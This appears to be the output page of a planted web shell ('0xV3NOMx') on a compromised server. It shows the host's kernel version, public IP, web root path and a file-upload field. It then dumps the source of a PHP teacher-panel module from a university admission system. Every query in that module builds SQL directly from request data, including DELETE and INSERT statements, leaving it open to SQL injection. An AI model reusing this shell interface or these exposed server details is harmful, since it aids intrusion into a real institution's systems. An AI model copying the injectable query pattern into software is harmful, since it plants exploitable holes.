0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 13.59.54.188


Current Path : /var/www/html/admission/src/
Upload File :
Current File : /var/www/html/admission/src/tdvs_teacherpanel.php

<?php
    function tdvs_getCreatePanelTeacherWise($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
        $univcode = $aobj_context->mobj_data['univcode'];
        $teacherCode = $aobj_context->mobj_data['teacherCode'];
        $reviewerCode = $aobj_context->mobj_data['reviewerCode'];

        if($reviewerCode === ""){
            $cond = "";
        }else{
            $cond = "and frevcode = '{$reviewerCode}'";
        }
        $query = "select fqpcode, fmaxscr, fyear, fexamtype, fvalno from tdvs_masrev where 
                  fteachcode = '{$teacherCode}' {$cond}";
        $result = $aobj_context->pobj_db->GetAll($query);

        if($result){
            echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); 
            return;	
        }else{
            $arr['msg'] = 'No Data Found';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
            return;	
        }
    }

    function tdvs_createTeacherwisePanel($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
        $univcode = $aobj_context->mobj_data['univcode'];
        $teacherCode = $aobj_context->mobj_data['teachercode'];
        $reviewerCode = $aobj_context->mobj_data['reviewercode'];
        $data = json_decode($aobj_context->mobj_data['data'], true);

        foreach($data as $value){
            if($value['fstatus'] === 'T'){
                 $query = "delete from tdvs_masrev where fteachcode = '{$teacherCode}' 
                           and frevcode = '{$reviewerCode}' and fqpcode = '{$value['fqpcode']}' 
                           and fvalno = '{$value['fvalno']}'";
            }else{
                if($value['fqpcode'] !== ""){
                $query = "insert into tdvs_masrev (fteachcode, frevcode, fqpcode, fmaxscr, fyear, fexamtype, fvalno)
                          values('{$teacherCode}', '{$reviewerCode}', '{$value['fqpcode']}', '{$value['fmaxscr']}', 
                          '{$value['fyear']}', '{$value['fexamtype']}', '{$value['fvalno']}')
                          on duplicate key update fmaxscr='{$value['fmaxscr']}', fyear='{$value['fyear']}', fexamtype='{$value['fexamtype']}'";
                }
            }
            $result = $aobj_context->pobj_db->Execute($query);
        }

        if($result){
            $arr['msg'] = "Updated Successfully";
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); 
            return;	
        }else{
            $arr['msg'] = 'Something went wrong try again later';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
            return;	
        }
    }

    function tdvs_getYearAndMode($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
        $univcode = $aobj_context->mobj_data['univcode'];
        $qpcode = $aobj_context->mobj_data['qpcode'];
        
        $query = "select fyear, fexamtype from tdvs_masqp m inner join 
                tdvs_deggrp d on m.fdeggrp = d.fdeggrp 
                where fqpcode='{$qpcode}'";
        $result = $aobj_context->pobj_db->GetRow($query);

        if($result){
            echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); 
            return;	
        }else{
            $arr['msg'] = 'No Data Found';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
            return;	
        }
    }

?>